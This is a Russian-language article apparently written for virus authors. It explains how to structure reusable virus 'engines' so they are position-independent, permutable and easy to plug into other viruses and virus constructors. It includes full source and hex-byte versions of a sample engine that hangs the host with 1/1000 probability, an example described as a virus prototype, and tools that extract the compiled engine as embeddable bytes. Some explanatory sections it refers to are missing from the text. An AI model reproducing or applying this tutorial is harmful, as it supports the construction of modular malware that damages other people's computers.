ДВИЖОК (engine) -- некоторый модуль используемый в вирусах. (представленный в бинарной форме и/или в сорцах любого языка)
Этот текст был написан с единственно одной целью: обозначить признаки, которыми, на мой взгляд, должен обладать удобный движок.
Надо сказать, что подобное желание возникло уже после того, как я прочувствовал все плюсы использования готовых компонент для создания вирусов. Были созданы движки LDE32, KME32, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO и MISTFALL, обладающие почти всеми свойствами, описанными в этом тексте. Однако даже и тех небольших преимуществ от попытки эти движки стандартизировать было достаточно чтобы понять всю важность приведения движков к некоторому "стандартному" виду. Следует сразу заметить: подобная "стандартизация" влияет скорее на алгоритм и внешний вид, чем на код, и ни коим образом не может послужить упрощению работы антивирусов.
движку должна прилагаться документация, в которой будет указано:
С использованием всех вышеперечисленных ограничений и фич, получаем код движка: независимый ни от кольца защиты, ни от операционки, ни от смещения по которому он находится. Такой код легко подвергается пермутации. Код или исходники такого движка легко могут быть подключены к другим движкам, вирусам, генераторам вирусов или вирусным конструкторам.
Более того, решается просто глобальная задача связи asm- и cpp- кода, без использования obj-ей.
Движок: KILLER. Задача: произвести зависание с вероятностью 1/1000.
Исходник:
Полученный в результате инклюдник на ASM:
Тот же самый инклюдник на C/C++:
Инклюдник/хеадер на ASM:
Инклюдник/хеадер на C/C++:
Пример вызова движка на ASM:
Пример использования на C/C++:
Пример программки для компиляции исходника движка:
Пример программки для выдирания бинарной (DB,DB,...) версии движка из
скомпиленного EXE-файла:
Обратим внимание на example.asm --
прообраз будущего вируса. В файле используется движок, движок использует
внешннюю процедуру (рандомер), а рандомер использует randseed который
создан в основном теле вируса и инициализирован перед вызовом движка.
В результате не только этот движок, но и любой другой, да и сам вирус,
смогут вызывать одну и ту же внешнюю процедуру (в данном случае рандомер,
но это могли бы быть функции работы с файлами и другие движки).
Очевидно, что call GetTickCount, произведенный перед вызовом движка,
в настоящем вирусе будет произведен по соответствующему вычисленному кернеловскому адресу.
Заметим, что все это написано без использования оффсетов как таковых.
Итак, задача достигнута: движок компиляется отдельно, отлаживается
так же отдельно, в example.cpp (имхо на cpp отлаживать алгоритмы быстрее и проще чем на asm),
и используется в вирусах
----[begin KILLER.ASM]--------------------------------------------------
engine proc c
arg user_param ; user-data
arg user_random ; external randomer
arg arg1
arg arg2 ; other parameters
arg arg3
pusha
cld
;;
push 1000
push user_param
call user_random
add esp, 8
;;
cmp eax, 666
je $
;;
popa
ret
endp
----[end KILLER.ASM]----------------------------------------------------
----[begin KILLER.INC]--------------------------------------------------
; KILLER 1.00 engine
db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
db 000h,074h,0FEh,061h,0C9h,0C3h
----[end KILLER.INC]----------------------------------------------------
----[begin KILLER.CPP]--------------------------------------------------
// KILLER 1.00 engine
BYTE killer_bin[30] =
{
0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
0x00,0x74,0xFE,0x61,0xC9,0xC3
};
----[end KILLER.CPP]----------------------------------------------------
----[begin KILLER.ASH]--------------------------------------------------
; KILLER 1.00 engine
KILLER_VERSION equ 0100h
----[end KILLER.ASH]----------------------------------------------------
----[begin KILLER.HPP]--------------------------------------------------
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__
#define KILLER_VERSION 0x0100
typedef
void __cdecl killer_engine(
DWORD user_param, // user-parameter
DWORD __cdecl user_random(DWORD user_param, DWORD range),
DWORD arg1,
DWORD arg2,
DWORD arg3);
#endif //__KILLER_HPP__
----[end KILLER.HPP]----------------------------------------------------
----[begin EXAMPLE.ASM]-------------------------------------------------
; KILLER 1.00 usage example
include killer.ash
callW macro x
extern x:PROC
call x
endm
v_data struc
v_randseed dd ?
; ...
ends
p386
model flat
locals __
.data
dd ?
.code
start: call virus_code
push -1
callW ExitProcess
virus_code: pusha
sub esp, size v_data
mov ebp, esp
;;
callW GetTickCount
xor [ebp].v_randseed, eax ; randomize
;;
push 3
push 2 ; parameters
push 1
call $+5+2 ; pointer to randomer
jmp short my_random
push ebp ; user-param, v_data ptr
call killer_engine
add esp, 4*5
;;
add esp, size v_data
popa
retn
; DWORD __cdecl random(DWORD user_param, DWORD range)
; [esp+4] [esp+8]
my_random: mov ecx, [esp+4] ; v_data ptr
mov eax, [ecx].v_randseed
imul eax, 214013
add eax, 2531011
mov [ecx].v_randseed, eax
shr eax, 16
imul eax, [esp+8]
shr eax, 16
retn
killer_engine:
include killer.inc
virus_size equ $-virus_code
end start
----[end EXAMPLE.ASM]---------------------------------------------------
----[begin EXAMPLE.CPP]-------------------------------------------------
#include <windows.h>
#include "killer.hpp"
#include "killer.cpp"
DWORD randseed = GetTickCount();
DWORD __cdecl my_random(DWORD user_param,DWORD range)
{
return range ? (randseed = randseed * 214013 + 2531011) % range : 0;
}
void main()
{
void* killer_ptr = &killer_bin;
(*(killer_engine*)killer_ptr) (0x12345678, my_random, 1,2,3);
}
----[end EXAMPLE.CPP]---------------------------------------------------
----[begin BUILD.ASM]---------------------------------------------------
p386
model flat
locals __
.data
db 0EBh,02h,0FFh,01h ; signature
include killer.asm
db 0EBh,02h,0FFh,02h ; signature
.code
start: push -1
callW ExitProcess
end start
----[end BUILD.ASM]-----------------------------------------------------
----[begin HAXOR.CPP]---------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#pragma hdrstop
void main()
{
FILE*f=fopen("build.exe","rb");
int bufsize = filelength(fileno(f));
BYTE* buf = new BYTE[bufsize];
fread(buf, 1,bufsize, f);
fclose(f);
int id1=0, id2=0;
for (int i=0; i<bufsize; i++)
{
if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4; // check signature
if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i; // check signature
}
f=fopen("killer.inc","wb");
fprintf(f,"; KILLER 1.00 engine\r\n");
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f,"db ");
fprintf(f,"0%02Xh", buf[id1+i]);
if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
}
fclose(f);
f=fopen("killer.cpp","wb");
fprintf(f,"// KILLER 1.00 engine\r\n");
fprintf(f,"BYTE killer_bin[%i] = {\r\n",id2-id1);
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f," ");
fprintf(f,"0x%02X", buf[id1+i]);
if (i!=id2-id1-1) fprintf(f,",");
if ((i%8)==7) fprintf(f,"\r\n");
}
fprintf(f," };\r\n");
fclose(f);
}
----[end HAXOR.CPP]-----------------------------------------------------